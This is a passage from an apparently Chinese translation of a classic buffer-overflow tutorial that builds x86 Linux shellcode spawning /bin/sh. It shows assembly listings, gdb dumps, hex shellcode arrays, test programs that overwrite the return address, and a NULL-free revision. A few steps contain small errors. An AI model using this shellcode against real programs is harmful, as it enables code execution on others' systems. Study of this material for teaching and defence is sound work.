??
字號:
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------
系統調用exit會把0x1放到寄存器EAX中, 在EBX中放置退出碼, 并且執行"int 0x80".
就這些了! 大多數應用程序在退出時返回0, 以表示沒有錯誤. 我們在EBX中也放入0. 現
在我們構造shell code的步驟就是這樣的了:
a) 把以NULL結尾的字串"/bin/sh"放到內存某處.
b) 把字串"/bin/sh"的地址放到內存某處, 后面跟一個空的長字(null long word)
.
c) 把0xb放到寄存器EAX中.
d) 把字串"/bin/sh"的地址放到寄存器EBX中.
e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.
(注: 原文d和e步驟把EBX和ECX弄反了)
f) 把空長字的地址放到寄存器EDX中.
g) 執行指令int $0x80.
h) 把0x1放到寄存器EAX中.
i) 把0x0放到寄存器EAX中.
j) 執行指令int $0x80.
試著把這些步驟變成匯編語言, 把字串放到代碼后面. 別忘了在數組后面放上字串
地址和空字, 我們有如下的代碼:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
問題是我們不知道在要破解的程序的內存空間中, 上述代碼(和其后的字串)會被放到
哪里. 一種解決方法是使用JMP和CALL指令. JMP和CALL指令使用相對IP的尋址方式, 也就
是說我們可以跳到距離當前IP一定間距的某個位置, 而不必知道那個位置在內存中的確切
地址. 如果我們在字串"/bin/sh"之前放一個CALL指令, 并由一個JMP指令轉到CALL指令上.
當CALL指令執行的時候, 字串的地址會被作為返回地址壓入堆棧之中. 我們所需要的就是
把返回地址放到一個寄存器之中. CALL指令只是調用我們上述的代碼就可以了. 假定J代
表JMP指令, C代表CALL指令, s代表字串, 執行過程如下所示:
內存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 內存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
堆棧頂部 堆棧底部
運用上述的修正方法, 并使用相對索引尋址, 我們代碼中每條指令的字節數目如下:
------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------------
通過計算從jmp到call, 從call到popl, 從字串地址到數組, 從字串地址到空長字的
偏量, 我們得到:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------
這看起來很不錯了. 為了確保代碼能夠正常工作必須編譯并執行. 但是還有一個問題.
我們的代碼修改了自身, 可是多數操作系統將代碼頁標記為只讀. 為了繞過這個限制我們
必須把要執行的代碼放到堆棧或數據段中, 并且把控制轉到那里. 為此應該把代碼放到數
據段中的全局數組中. 我們首先需要用16進制表示的二進制代碼. 先編譯, 然后再用gdb
來取得二進制代碼.
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
成了! 但是這里還有一個障礙, 在多數情況下, 我們都是試圖使一個字符緩沖區溢出.
那么在我們shellcode中的任何NULL字節都會被認為是字符串的結尾, 復制工作就到此為
止了. 對于我們的破解工作來說, 在shellcode里不能有NULL字節. 下面來消除這些字節,
同時把代碼精簡一點.
Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
Our improved code:
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
And our new test program:
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
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